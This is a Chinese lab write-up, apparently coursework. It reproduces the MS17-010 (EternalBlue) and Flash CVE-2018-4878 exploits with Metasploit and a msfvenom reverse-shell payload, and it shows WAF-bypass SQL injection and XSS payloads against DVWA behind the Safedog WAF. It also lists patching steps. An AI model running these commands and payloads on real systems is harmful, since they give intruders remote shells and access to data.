题目
- 1、MS17-010漏洞复现
- (1)针对Windows XP和Win7系统使用0~3漏洞利用模块进行攻击
- (2)分别注明0~3漏洞利用模块的攻击效果和利用条件,完成漏洞修复
- 2、CVE-2018-4878漏洞复现
- 3、实现WAF安装与配置
- 4、WAF绕过SQL注入
- (1)分别在无WAF和有WAF的情况下,利用SQLMap进行注入,对比注入结果的区别
- (2)有WAF的情况下,手工注入出DVWA数据库中的user和password,提供注入过程说明文档
- 5、WAF统过XSS实验
1、MS17-010
漏洞简介
永恒之蓝,爆发于WannaCry勒索病毒的诞生,改病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞“EternalBlue”(永恒之蓝)进行改造而成。该漏洞可以通过TCP的139和445端口,攻击windows的SMB服务,造成远程代码执行。
MS17-010漏洞主要针对windows7及以前的操作系统
漏洞利用
利用条件(原版win7)
防火墙必须允许SMB流量出入
目标必须使用SMBv1协议
目标必须缺少MS17-010补丁
目标必须允许匿名IPC$和管道名
(msdn下载的镜像默认满足2、3)
环境准备
关闭 ‘限制对命令管道和共享的匿名访问’,禁用后重启生效;
关闭系统防火墙
漏洞复现
msfconsole
search ms17-010
use 0
set rhosts 10.0.0.159靶机
exploit
use 1
set rhosts 10.0.0.159靶机
exploit
use 2 ----option选项中command配置攻击后返回command结果
set rhosts 10.0.0.159
set command ipconfig
exploit
use 3
set rhosts 10.0.0.159靶机
exploit
扩展内容
结果 | 0、1两种方式可以直接获取meterpreter命令行 | 2返回命令执行结果,3只能用于扫描 |
---|---|---|
条件 | 0、3不需要开启共享 | 需要开启共享 |
漏洞模块 | 防火墙必须允许SMB流量出入 | 目标必须使用SMBv1协议 | 目标必须缺少MS17-010补丁 | 目标必须允许匿名IPC$和管道名 |
---|---|---|---|---|
0 exploit/windows/smb/ms17_010_eternalblue | ✓ | ✓ | ✓ | |
1 exploit/windows/smb/ms17_010_psexec | ✓ | ✓ | ✓ | ✓ |
2 auxiliary/admin/smb/ms17_010_command | ✓ | ✓ | ✓ | ✓ |
3 auxiliary/scanner/smb/smb_ms17_010 | ✓ | ✓ | ✓ |
漏洞修复
1.补丁
2.关闭SMB功能--业务不需要时可以关闭,理想环境下实现
3.外围安全设备实现防护
4.关闭445端口--业务不需要,135、137、139、443、445
5.访问控制,在防火墙上添加白名单(仅允许xxx访问)
2、Flash漏洞 CVE-2018-4878
漏洞简介
2018年2月1号,adobe官方发布安全通报(APSA18-01),声明adobe Flash 28.0.0.137及其之前的版本,存在高位漏洞(CVE-2018-4878)
攻击者通过构造特殊的flash连接,当用户用浏览器/邮件/office访问此flash链接时,会被“远程代码执行”,并且直接被getshell。
参考链接:_https://blog.51cto.com/chenxinjie/2093653
影响版本:
产品 | 版本 | 平台 |
---|---|---|
adobe flash player桌面运行时 | 28.0.0.137及更早版本 | Windows,Macintosh |
适用于Google chrome的adobe flash player | 28.0.0.137及更早版本 | Windows,Macintosh,Linux和chrome操作系统版本 |
适用于mircosoft edge和internet explorer 11的adobe flash player | 28.0.0.137及更早版本 | windows 10和8.1 |
adobe flash player桌面运行时 | 28.0.0.137及更早版本 | linux |
漏洞利用
漏洞环境
攻击机:kali | 靶机:win7 sp3 | exp:cve-2018-4878.py | flash:flashplayer_avtivex_28.0.0.137.exe |
---|---|---|---|
攻击流程
1.kali中使用msfvenom生成漏洞利用代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.157 lport=4445 -f python>magedu_shellcode.txt
2.查看生成的文件
3.修改CVE-8-4878-master文件夹中的cve-2018-4878.py,替换该字段
4.修改cve-2018-4878.py文件中的文件生成路径为自己的路径,并将cve-2018-4878-master文件夹复制到kali root目录下
5.kali root目录下python2 cve-2018-4878.py 使用python执行修改完的文件,此目录下产生.swf和.html两个文件
6.开启apache服务,并将生成的两个文件copy到apache服务目录下(让目标访问到生成的目录文件)
server apache2 start
cp /root/cve-2018-4878/* /var/www/html
7.kali上开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverser_tcp
set lhost 10.0.0.157
set lport 4445 //lport和lhost要与生成的shellcode文件中一致
exploit
8.win7中安装flash插件,并在ie中访问生成的index2.html页面
9.kali获取meterpreter终端,并测试
3、WAF安装与配置
3.1 安装DVWA安装DVWA
使用phpstudy部署dvwa靶场,使用MySQL+Apache
注:dvwa文件夹放在phpstudy下www目录下
dvwa\config\config.inc.php文件中数据库用户名密码改为root
dvwa\php.ini中allow_url_fopen = On allow_url_include = On (文件包含)(phpstudy_pro\Extensions\php文件夹中也需要求改)
小皮面板下创建dvwa站点,访问该站点,成功安装dvwa后,使用SQL_Front工具修改guestbook和user两个表的字符校对集为utf8_general_ci防止后续出现乱码
3.2 安装安全狗(WAF)
官网下载最新版安全狗apache版本 http://free.safedog.cn/
查看本地服务中有没有apache服务win + service,发现没有apache服务
小皮面板中关闭apache服务,找到apache路径,复制路径,并以管理员打开cmd
切换到路径目录下,执行.\httpd.exe -k install -n apache2.4.39,在服务里查看apache并启动
安装安全狗,发现所有选项已自动识别填充,安装后并启动安全狗
打开dvwa靶场进行攻击实验,发现被安全狗拦截 //常见防火墙(WAF)拦截页面
https://blog.csdn.net/qq_51577576/article/details/128165335
4、WAF绕过SQL注入
核心思想:改变SQL查询语句的格式,但不改变其语义
WAF利用正则表达式基于语义去检测
SQLmap注入有无waf对比
目前安全狗可以正常跑出结果,sqlmap一直在更新旧版本sqlmap可能会被拦截
手注背安全狗拦截
(1)内联注释:将MySQL中特有的语句放在/!.../中,这些语句在不兼容的数据库中不执行,但在MySQL自身可以识别 //“不是注释的注释 \=不具备注释语义的注释”
内联注释特性:
1./*!XXX*/:语句会被注释掉
2./*!数据库版本号XXX*/:数据库版本号≤实际版本号时,语句不会被注释掉
3./*!数据库版本号XXX*/:数据库版本号≥实际版本号时,语句会被注释掉
1' /*!11445and*/ '1'='1 00000~99999 可以使用字典爆破,安全狗中后四位440~445
(2)联合注入
order by 判断列数 order by 会被拦截,利用group by 绕过
说明只有2列,使用1' union select 1,2 --+查询时被拦截
利用绕过,在参数后插入其他语句,添加注释,然后使用截断,使用%23使得语句报错,将双引号直接注释 //%0A-回车 %23--# regexp正则函数
1' regexp "%0A%23" /*!11144union %0A select */1,2--+
正则匹配换行和#没有实际意义,但改变了句式,union %0A select 使联合查询语句不明显
查询数据库
1' regexp "%0A%23" /*!11144union %0A select */1,database() --+ ,被拦截,针对database()进行绕过,database(%0A /*!11445*/)
获取库名
select first_name,last_name from users where user_id = 1 union select 1,group_concat(schema_name) from information_schema.schemata;
-1' /*!union*/ /*!--+*/*%0Aselect \*!1,*/group_concat(schema_name) /\*!from\*/ information_schema./*!schemata*/ --+
获取dvwa库里面所有的表名
union select group_concat(table_name) from information_schema tables where tables_schema='dvwa'
-1' union /*!--+/*%0Aselect/*!1,*/ group_concat(table_name) /*!from*/ /*!--+/*%0Ainformation_schema./*!tables*/ where table_schema='dvwa' --+
5、WAF绕过XSS攻击
测试环境:DVWA+安全狗
直接输入一下代码会被安全狗拦截
<script>alert(1)</script>
(1)利用base64编码绕过
< object data="data:text">
< object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3NjcmlwdD4="
(2)利用SVG标签进行绕过;<\svg>标记定义SVG图形的容器
<img src=## onerror=alert(document.cookie)> ##导致错误,onerror出现错误后执行后面语句
<svg/onload=alert(1)>